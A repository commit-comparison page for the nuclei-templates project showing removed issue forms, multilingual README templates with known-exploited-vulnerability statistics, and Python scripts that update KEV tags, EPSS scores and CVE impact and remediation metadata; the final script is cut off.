Compare commits

..
Author SHA1 Message Date
pussycat0x e9d59fc225 Update prometheus-jmx-exporter.yaml 2025-04-02 16:22:20 +05:30
pussycat0x b09b1062ca Create prometheus-jmx-exporter.yaml 2025-03-25 14:40:17 +05:30
12445 changed files with 51291 additions and 680499 deletions

No files matched your search

-73
View File
@@ -1,73 +0,0 @@
name: Enhancement Request
description: Suggest an improvement or enhancement for nuclei-templates.
title: "[ENHANCEMENT] ..."
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to suggest an enhancement!
:warning: **Issues missing important information may be closed without further investigation.**
- type: checkboxes
attributes:
label: Is there an existing issue for this?
description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
options:
- label: I have searched the existing issues and discussions.
required: true
- type: textarea
attributes:
label: Enhancement Description
description: |
Provide a clear and concise description of the enhancement you're proposing.
What would you like to see improved or added?
placeholder: |
A clear description of what you want to happen...
validations:
required: true
- type: textarea
attributes:
label: Use Case / Problem
description: |
Describe the use case or problem that this enhancement would solve.
Why is this enhancement needed? What problem does it address?
placeholder: |
Currently, when...
This causes...
It would be better if...
validations:
required: true
- type: textarea
attributes:
label: Proposed Solution
description: |
Describe your proposed solution or implementation approach.
How do you envision this enhancement working?
placeholder: |
The enhancement could work by...
It should include...
validations:
required: false
- type: textarea
attributes:
label: Alternatives Considered
description: |
Have you considered any alternative solutions or workarounds?
placeholder: |
Alternative approach 1...
Alternative approach 2...
validations:
required: false
- type: textarea
attributes:
label: Additional Context
description: |
Add any other context, screenshots, examples, or references about the enhancement here.
Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
validations:
required: false
+3 -17
View File
@@ -14,11 +14,11 @@ Nuclei Templates
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
<a href="#-contributions">Contributions</a> •
<a href="#-discussion">Discussion</a> •
<a href="#-community">Community</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
</p>
@@ -36,21 +36,7 @@ An overview of the nuclei template project, including statistics on unique tags,
<table>
<tr>
<td>
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
| **KEV Source** | **Templates** | **Description** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
---
<td>
{get_top10()}
-101
View File
@@ -1,101 +0,0 @@
f"""
<h1 align="center">
Nuclei 模板
</h1>
<div align="center">
<a href="README.md">English</a> |
<a href="README_CN.md">简体中文</a> |
<a href="README_JA.md">日本語</a> |
<a href="README_KR.md">한국어</a>
</div>
<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
<a href="#-贡献">贡献</a> •
<a href="#-交流">交流</a> •
<a href="#-社区">社区</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
</p>
----
模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
## Nuclei模板项目情况概述
以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
<table>
<tr>
<td>
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
| **KEV 来源** | **模板数量** | **描述** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
---
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 文档
-----
详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
💪 贡献
-----
社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 交流
-----
如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
👨‍💻 社区
-----
欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery),与项目维护人员直接讨论,或与其他人分享有关安全和自动化的想法。
此外,您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们,了解 Nuclei 的最新动态。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
"""
-96
View File
@@ -1,96 +0,0 @@
f"""<h1 align="center">
Nuclei テンプレート
</h1>
<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
<a href="#-contributions">貢献</a> •
<a href="#-discussion">ディスカッション</a> •
<a href="#-community">コミュニティ</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
</p>
----
テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
## Nuclei テンプレートの概要
Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
<table>
<tr>
<td>
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
| **KEV ソース** | **テンプレート数** | **説明** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
---
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 ドキュメント
-----
新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
💪 貢献
-----
Nucleiテンプレートはコミュニティの貢献によって動作します。
[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 ディスカッション
-----
質問、疑問、アイデアを話し合いたいですか?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
👨‍💻 コミュニティ
-----
プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
皆さんの貢献とコミュニティの活性化への努力に感謝します。
:heart:
"""
-98
View File
@@ -1,98 +0,0 @@
f"""
<h1 align="center">
Nuclei 템플릿
</h1>
<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">논의</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">디스코드</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
</p>
----
템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
## Nuclei 템플릿 개요
고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다.
<table>
<tr>
<td>
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
| **KEV 소스** | **템플릿 수** | **설명** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
---
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 문서
-----
새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
💪 기여
-----
Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 논의
-----
같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
👨‍💻 커뮤니티
-----
프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
:heart:
"""
-119
View File
@@ -1,119 +0,0 @@
#!/usr/bin/env python3
"""
Count KEV and vKEV templates for README statistics
This script counts the number of templates with 'kev' and 'vkev' tags
and outputs the statistics in a format suitable for the README.
"""
import re
import sys
from pathlib import Path
from typing import Dict, Set
def has_tag_in_file(file_path: Path, tag: str) -> bool:
"""Check if a template file has a specific tag."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Look for tags field and check if tag is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for tag as a standalone tag (not part of another word)
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
return True
except Exception as e:
print(f"Error reading {file_path}: {e}", file=sys.stderr)
return False
def count_kev_templates(root_dir: str) -> Dict[str, int]:
"""Count templates with KEV and vKEV tags."""
root_path = Path(root_dir)
# Find all YAML template files
patterns = [
"**/*.yaml",
"**/*.yml"
]
all_files = set()
for pattern in patterns:
all_files.update(root_path.glob(pattern))
# Filter out non-template files
template_files = [
f for f in all_files
if '/workflows/' not in str(f)
and '/.github/' not in str(f)
and '/profiles/' not in str(f)
]
kev_count = 0
vkev_count = 0
both_count = 0
kev_only_count = 0
vkev_only_count = 0
kev_files = set()
vkev_files = set()
for template_file in template_files:
has_kev = has_tag_in_file(template_file, 'kev')
has_vkev = has_tag_in_file(template_file, 'vkev')
if has_kev:
kev_count += 1
kev_files.add(template_file)
if has_vkev:
vkev_count += 1
vkev_files.add(template_file)
if has_kev and has_vkev:
both_count += 1
elif has_kev:
kev_only_count += 1
elif has_vkev:
vkev_only_count += 1
return {
'kev_total': kev_count,
'vkev_total': vkev_count,
'both': both_count,
'kev_only': kev_only_count,
'vkev_only': vkev_only_count,
'total_templates': len(template_files)
}
def main():
"""Main entry point."""
root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
stats = count_kev_templates(root_dir)
# Output in a format that can be easily parsed
print(f"KEV_TOTAL={stats['kev_total']}")
print(f"VKEV_TOTAL={stats['vkev_total']}")
print(f"BOTH={stats['both']}")
print(f"KEV_ONLY={stats['kev_only']}")
print(f"VKEV_ONLY={stats['vkev_only']}")
print(f"TOTAL_TEMPLATES={stats['total_templates']}")
# Also print human-readable summary to stderr for logging
print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
print(f"Templates in both: {stats['both']}", file=sys.stderr)
print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
if __name__ == "__main__":
main()
-119
View File
@@ -1,119 +0,0 @@
#!/usr/bin/env python3
"""
CVE Template Field Enhancement Script
Adds missing impact and remediation fields from ProjectDiscovery API
"""
import re
import sys
import requests
from pathlib import Path
API_URL = "https://api.projectdiscovery.io/v2/vulnerability"
def check_missing_fields(content):
"""Check if impact or remediation fields are missing."""
has_impact = bool(re.search(r'^\s{2}impact:', content, re.MULTILINE))
has_remediation = bool(re.search(r'^\s{2}remediation:', content, re.MULTILINE))
return (not has_impact, not has_remediation)
def extract_cve_id(content):
"""Extract CVE ID from template."""
match = re.search(r'^id:\s*(CVE-\d{4}-\d+)', content, re.MULTILINE)
return match.group(1) if match else None
def fetch_from_api(cve_id):
"""Fetch impact and remediation from ProjectDiscovery API."""
try:
response = requests.get(f"{API_URL}/{cve_id}", timeout=10)
if response.status_code == 200:
data = response.json().get('data', {})
return data.get('impact'), data.get('remediation')
except:
pass
return None, None
def add_fields(content, impact, remediation, needs_impact, needs_remediation):
"""Add impact and remediation fields after description."""
lines = content.split('\n')
result = []
i = 0
while i < len(lines):
line = lines[i]
result.append(line)
# Found description field
if re.match(r'^\s{2}description:', line):
i += 1
# Copy all description content (lines starting with 4+ spaces or |)
while i < len(lines):
if lines[i].strip() == '' or lines[i].startswith(' ') or lines[i].strip() == '|':
result.append(lines[i])
i += 1
else:
# End of description block - add new fields here
if needs_impact and impact:
result.append(' impact: |')
result.append(f' {impact}')
if needs_remediation and remediation:
result.append(' remediation: |')
result.append(f' {remediation}')
break
continue
i += 1
return '\n'.join(result)
def enhance_file(file_path):
"""Enhance a single CVE template file."""
try:
content = file_path.read_text()
# Check what's missing
needs_impact, needs_remediation = check_missing_fields(content)
if not needs_impact and not needs_remediation:
print(f"✓ {file_path.name} - already complete")
return False
# Get CVE ID
cve_id = extract_cve_id(content)
if not cve_id:
print(f"✗ {file_path.name} - no CVE ID found")
return False
# Fetch from API
impact, remediation = fetch_from_api(cve_id)
if not impact and not remediation:
print(f"⚠ {cve_id} - not found in API")
return False
# Add fields
enhanced = add_fields(content, impact, remediation, needs_impact, needs_remediation)
file_path.write_text(enhanced)
print(f"✓ {cve_id} - enhanced")
return True
except Exception as e:
print(f"✗ {file_path.name} - error: {e}")
return False
def main():
if len(sys.argv) < 2:
print("Usage: python enhance-cve-fields.py <file1> [file2] ...")
sys.exit(1)
enhanced = 0
for file_arg in sys.argv[1:]:
file_path = Path(file_arg)
if file_path.exists():
if enhance_file(file_path):
enhanced += 1
print(f"\nEnhanced {enhanced} file(s)")
sys.exit(0)
if __name__ == '__main__':
main()
-256
View File
@@ -1,256 +0,0 @@
#!/usr/bin/env python3
"""
EPSS Score Updater for Nuclei Templates
This script updates EPSS scores for all CVE templates by:
1. Scanning all CVE YAML files
2. Extracting CVE IDs
3. Fetching latest EPSS scores from the FIRST API
4. Updating the templates with new scores
"""
import os
import re
import sys
import time
import yaml
import requests
from pathlib import Path
from typing import Dict, List, Tuple, Optional
# Configuration
EPSS_API_URL = "https://api.first.org/data/v1/epss"
BATCH_SIZE = 50 # API limit for batch requests
RATE_LIMIT_DELAY = 1 # seconds between API calls
MAX_RETRIES = 3
TIMEOUT = 30
class EPSSUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
def find_cve_templates(self) -> List[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
# Filter duplicates and sort
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
"""Fetch EPSS scores from API for multiple CVEs."""
epss_data = {}
# Process in batches
for i in range(0, len(cve_ids), BATCH_SIZE):
batch = cve_ids[i:i+BATCH_SIZE]
cve_param = ','.join(batch)
for attempt in range(MAX_RETRIES):
try:
print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
response = requests.get(
EPSS_API_URL,
params={'cve': cve_param},
timeout=TIMEOUT
)
response.raise_for_status()
data = response.json()
if data.get('status') == 'OK' and 'data' in data:
for item in data['data']:
cve_id = item['cve'].upper()
epss_data[cve_id] = {
'epss': item['epss'],
'percentile': item['percentile']
}
break # Success, exit retry loop
except requests.RequestException as e:
print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch EPSS data for batch: {batch}")
else:
time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
except Exception as e:
print(f"Unexpected error: {e}")
break
# Rate limiting between batches
if i + BATCH_SIZE < len(cve_ids):
time.sleep(RATE_LIMIT_DELAY)
return epss_data
def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
"""Update a template file with new EPSS scores."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Parse YAML to get structure
try:
template_data = yaml.safe_load(content)
except yaml.YAMLError as e:
print(f"YAML parsing error in {file_path}: {e}")
return False
if not template_data or 'info' not in template_data:
print(f"Invalid template structure in {file_path}")
return False
# Ensure classification section exists
if 'classification' not in template_data['info']:
template_data['info']['classification'] = {}
classification = template_data['info']['classification']
# Convert EPSS values to float for comparison
new_epss = float(epss_data['epss'])
new_percentile = float(epss_data['percentile'])
current_epss = classification.get('epss-score', 0)
current_percentile = classification.get('epss-percentile', 0)
# Check if update is needed
if (abs(new_epss - float(current_epss)) < 0.00001 and
abs(new_percentile - float(current_percentile)) < 0.00001):
return False # No significant change
# Update scores using string replacement to preserve formatting
epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
# Update epss-score
if 'epss-score:' in content:
content = re.sub(
r'(\s+epss-score:\s*)[0-9.]+',
fr'\g<1>{epss_score_str}',
content
)
else:
# Add after cve-id if exists
if 'cve-id:' in content:
content = re.sub(
r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
fr'\g<1> epss-score: {epss_score_str}\n',
content
)
# Update epss-percentile
if 'epss-percentile:' in content:
content = re.sub(
r'(\s+epss-percentile:\s*)[0-9.]+',
fr'\g<1>{percentile_str}',
content
)
else:
# Add after epss-score
content = re.sub(
r'(\s+epss-score:\s*[0-9.]+\s*\n)',
fr'\g<1> epss-percentile: {percentile_str}\n',
content
)
# Write updated content
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
return True
except Exception as e:
print(f"Error updating {file_path}: {e}")
return False
def run(self):
"""Main execution function."""
print("Starting EPSS score update...")
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Extract CVE IDs and map to files
cve_to_files = {}
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
if cve_id not in cve_to_files:
cve_to_files[cve_id] = []
cve_to_files[cve_id].append(file_path)
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"Found {len(cve_to_files)} unique CVE IDs")
# Fetch EPSS scores
all_cve_ids = list(cve_to_files.keys())
epss_data = self.fetch_epss_scores(all_cve_ids)
print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
# Update templates
for cve_id, files in cve_to_files.items():
if cve_id in epss_data:
for file_path in files:
if self.update_template(file_path, cve_id, epss_data[cve_id]):
self.updated_count += 1
else:
print(f"No EPSS data found for {cve_id}")
self.error_count += 1
print(f"\nUpdate complete!")
print(f"Templates updated: {self.updated_count}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EPSSUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
-366
View File
@@ -1,366 +0,0 @@
#!/usr/bin/env python3
"""
Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
1. Fetching the latest CISA KEV catalog
2. Fetching VulnCheck's KEV data (if API key available)
3. Adding 'kev' tag for CISA KEV CVEs
4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
"""
import os
import re
import sys
import time
import json
import requests
from pathlib import Path
from typing import Set, Optional, Dict, Tuple
# Configuration
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
TIMEOUT = 30
MAX_RETRIES = 3
VULNCHECK_PAGE_SIZE = 100
class EnhancedKEVUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
self.cisa_kev_cves = set()
self.vulncheck_kev_cves = set()
self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
def find_cve_templates(self) -> list[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_cisa_kev_data(self) -> Set[str]:
"""Fetch CISA KEV catalog and return set of CVE IDs."""
kev_cves = set()
for attempt in range(MAX_RETRIES):
try:
